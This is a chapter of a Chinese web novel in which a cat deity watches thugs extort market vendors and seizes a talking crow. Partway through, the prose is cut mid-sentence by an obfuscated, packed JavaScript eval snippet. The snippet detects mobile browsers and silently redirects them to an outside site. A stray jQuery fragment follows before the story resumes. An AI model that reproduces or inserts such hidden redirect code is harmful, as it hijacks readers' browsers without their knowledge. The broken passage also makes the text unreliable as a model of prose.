182. 第 182 章

作品:《霍去病1935

    很快,它的目光就被一队人吸引了。他们穿着统一的深色制服,歪戴着帽子,走起路来松松垮垮,眼神却像秃鹫一样在摊贩之间逡巡。


    为首的是一个腰里别着短棍、满脸横肉的汉子。


    大黄认得这种气息——在沧州,它也在一些地痞混混身上闻到过。


    只见那队人走到一个卖菜老汉的摊前,为首的汉子用短棍不轻不重地敲了敲摊位的木板。


    “老家伙,今天的‘清洁捐’该交了吧?”声音不大,却带着满满的压迫。


    老汉脸上瞬间堆起卑微的笑,颤巍巍地从怀里掏出几个铜板,双手递过去:“王……王队长,您点点,点点。”


    那王队长看都没看,一把抓过铜板,在手里掂了掂,鼻子里哼了一声:“算你识相。”然后便走向下一个摊位。


    整个过程,没有硬抢,没有打骂,但那老汉在他转身后,才敢抬起袖子擦了擦额角的汗。


    大黄的耳朵动了动,内心开始翻译:


    这些扛棍子的两脚兽,往这一站,什么也没干,就换来了亮晶晶的钱?


    这跟城隍庙里,那些人放着吃的求本官保佑,有点像……但他们看起来好丑,没本官威武,也不干活,肯定不会下雨,凭什么?


    一个卖糖人的小贩似乎想躲开这队人,推着车子就要往巷子里钻。那王队长眼尖,骂了一句,带着人追了过去。


    很快,巷口传来了呵斥声和推搡声,接着是那小贩的求饶和闷哼。


    过了一会儿,王队长等人骂骂咧咧地出来,手里多了一个布袋子,显然是“罚”来的。那小贩半晌才扶着墙走出来,鼻青脸肿,糖人车也歪了,撒了一地。


    周围的摊贩们都低着头,不敢朝那边看,气氛压抑得如同暴雨前夕。


    大黄的瞳孔微微放大,尾巴尖不易察觉地轻点了一下墙面,不交,就会被打?百姓去了城隍庙,不交,我也挠他们吗?


    大猫脑袋一抖,不行,它直接就知道,百姓不交,自己也不能打,那为什么这几个人,要打?


    它疑惑地看着那队人继续大摇大摆地收钱,看着摊贩们敢怒不敢言地顺从,我也去沧州街道上收钱?


    大猫脑袋又一抖,不行,还是不行,我要钱干啥?收戏班子?也不行,自己不露神通,他们才不给,可自己不能露神通,我的神通,就像那队人的棍子。


    可是,我的神通不能用,那他们为什么能用?


    不公平!大黄蹲在矮墙上,生气。


    我的地盘,是整个沧州!比这条街大太多了!


    我的规矩:呃……还没有


    “打人”的能力:抓人?人太弱小了,一抓就死了,不能随便死人,还得收拾,麻烦。


    召唤鼠群?那些家伙太弱了。瞬移?这个好像不能打人……它突然意识到,自己的神通虽然奇妙,但在“直接惩罚不听话的两脚兽”方面,没有那短棍一样的效果。


    现在,它最大的依仗,好像还是手下的“黑白无常”?


    “喵了个呜的……”大黄有些不爽地甩了甩尾巴。它觉得自己的“后台”有点拿不出手。


    但它很快又找到了平衡,低头看看自己毛茸茸的爪子,内心豁然开朗:本官是城隍,是正经神官,怎么能学这些丑八怪!本官……本官可以不下雨!


    大黄蹲在矮墙上,纠结着自己的“后台不硬”,金色的瞳孔里满是不服。


    就在这时,又一声“嘎嘎”的聒噪叫声从头顶传来。


    它抬眼一瞥,正是之前见过的那只嚣张的大黑鸟,此刻竟像块黑石头般直冲它俯冲下来,翅膀带起的风都吹动了它颈边的绒毛。


    “喵呜!”


    大黄喉间发出一声低沉的警告,身子却稳如磐石。就在乌鸦的利爪即将触碰到它的瞬间,它那只毛茸茸的前爪快如闪电般挥出——“啪!”一声闷响,那乌鸦便被它结结实实地拍在了墙头,晕头转向,连挣扎都忘了。


    不等那鸟回过神,大黄已经嫌弃地一伸嘴,精准地叼住了乌鸦的翅膀根,将它整只提溜了起来。


    “救命啊——救命啊——杀人啦——嘎!”乌鸦在它嘴里徒劳地扑腾着另一只翅膀,竟然口吐人言,发出凄厉的惨叫。


    这番热闹立刻引来了几个八九岁小男孩,那为首的小男孩,见到自己熟悉的鸟儿被一只大橘猫叼在嘴里,急得脸都红了,挥舞着手臂试图吓唬大黄:“走开!臭猫!快放开它!”


    大黄只是懒洋洋地瞥了他们一眼,金色的竖瞳里没有丝毫波澜,甚至还带着点不耐烦。它叼着不断叫嚷的乌鸦,在窄窄的墙头上踱了两步,仿佛在展示自己的战利品。


    那乌鸦还在声嘶力竭地喊着“救命”,小男孩见吓唬无用,更是心急如焚。他慌忙从书包里掏出一个小布口袋,从里面小心翼翼地拿出半个明显是省下来的杂面饼子,双手捧着,凑近墙根,用带着哭腔的声音哄求:“猫……猫大王,求求你放了它吧,这个,这个给你吃,可好吃了……”


    大黄鼻子动了动,那干巴巴的饼子丝毫引不起它的兴趣。它扭过头,故意叼着乌鸦往胡同深处走去。


    小男孩亦步亦趋地跟在墙下,不住口地哀求。他旁边一个稍壮的男孩捡起一块石子,作势


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450866|181882||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要扔,被小男孩阿遂急忙拦住:“别!你惹急了它,它一口就把小黑咬死了!”


    三人只好跟着大黄进了僻静的胡同。大黄觉得耳朵被吵得嗡嗡响,终于不耐烦了,它松开口,将乌鸦丢在墙头,但一只前爪却精准地按住了乌鸦的尖喙,将那恼人的“救命”声彻底堵了回去。


    “呜呜……”乌鸦只能发出可怜的呜咽,黑豆似的眼睛里满是惊恐。


    阿遂和同伴们站在几步远的地方,不敢再靠近。阿遂依旧举着那半块饼子,另一个男孩也从兜里摸出一点零食,试图吸引大黄的注意。


    其中一个同伴忍不住抱怨:“阿遂,你还管它!这破鸟整天抢你的饼子吃,还啄你、骂你,你不说它是你的仇鸟吗,管它干啥!”


    那个名叫阿遂的男孩却固执地摇摇头,眼睛紧紧盯着墙头的大猫和黑鸟,低声道:“我爹说过,有灵性的动物是宝,伤不得。爹还给我编了个小刷子呢,就是用一头有灵性的毛驴的尾巴毛编的,让我随身带着,说是能扫除烦恼,静心读书。”


    他想起父亲信中的话,下意识地摸了摸书包里那柄柔软的小刷子。


    “书房清玩,聊寄思念。此乃灵驴之尾毫,可扫尘扰,静心读书。”


    他这话音刚落,原本漫不经心按着乌鸦的大黄,耳朵猛地竖了起来,像两个小雷达。


    “喵?”那蠢驴的味道?


    它金色的瞳孔聚焦在阿遂身上,抽动着粉嫩的鼻头仔细嗅了嗅。


    刚才人多气味杂它没留意,此刻却清晰地从这个叫阿遂的男孩身上,闻到一丝淡薄的,却异常熟悉的气息——沧州那个蠢驴,白无常管它叫七宝!


    原来那刷子是用七宝的尾巴毛编的?那他爹是谁?怎么能拿到七宝的毛?嗯……这个问题有点复杂,等回沧州去问那个比较聪明的白无常好了。


    大黄的念头转得飞快,它低头看了看脚下还在瑟瑟发抖的黑乌鸦,脑中灵光一闪。它那寒酸可怜的阴兵仪仗队里,正好缺这种能飞又会聒噪……呃,是会传令的货色。沧州那些笨乌鸦,训练了多久都学不会列队,不小心就死了,这只居然能说人话,虽然吵了点,但正好抓回去充门面!


    它瞄了阿遂一眼,爪下微微用力,一丝神力印记便打入了乌鸦的体内。


    随即,它松开爪子,不再理会墙下目瞪口呆的三个男孩和那只吓傻了的乌鸦,后腿一蹬,橘黄色的身影轻盈地蹿上更高的房檐,几个起落便消失在屋瓦之间。


    它得赶紧回沧州了。


    找白无常,问清楚蠢驴毛和男孩爹的事。


    然后,要戏班子!